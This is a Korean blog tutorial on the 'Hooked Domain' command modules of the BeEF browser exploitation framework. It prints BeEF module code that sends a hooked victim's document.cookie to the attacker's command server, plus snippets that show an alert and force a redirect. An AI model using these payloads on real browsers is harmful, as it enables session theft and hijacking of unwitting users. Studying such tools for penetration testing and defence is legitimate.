Browser 카테고리는 현재 Hooked Browser (좀비PC)를 이용해서 정보를 수집하는 모듈 위주로 구성되어 있는 반면에, 하위에 존재하는 Hooked Domain 카테고리는 정보 수집 보다는 무엇인가를 동작 하는 모듈 위주로 구성되어 있다. BeEF 0.4.4.5-alpha 기준으로 Hooked Domain 카테고리는 20개의 모듈이 존재한다.
1. Get Cookie
Get Cookie 모듈은 Hooked Browser의 현재 페이지에서 세션 쿠키를 가져오는 모듈이다.
[Execute] 버튼을 클릭하면, [Module Results History]에 아래와 command가 생성된다.
생성된 command를 클릭하면, 모듈의 command가 실행되어 아래와 같이 Get Cookie 모듈의 결과인 세션 쿠키(Cookie)값을 확인 할 수 있다.
아래는 Get Cookie 모듈의 command 소스코드이다. 소스코드 에서도 확인 할 수 있듯이, 페이지의 쿠키를 수집은 document.cookie의 기능을 사용하여 수집한다.
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
}); |
beef.execute(function() { alert("<%== format_multiline(@text) %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_ multiline(@text) %>"); });
|
beef.execute(function() { window.location = "<%= @redirect_url %>"; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Redirected to: <%= @redirect_url %>'); }); |
BeEF On Kali Linux - Commands탭 Social Engineering 카테고리 (0) | 2013.11.08 |
---|---|
BeEF On Kali Linux - Commands탭 Persistence 카테고리 (0) | 2013.11.08 |
BeEF On Kali Linux - Commands탭 Browser 카테고리 (0) | 2013.11.07 |
BeEF On Kali Linux (0) | 2013.10.25 |
Kali Linux에서 Postgresql/Metasploit 시작! (0) | 2013.09.27 |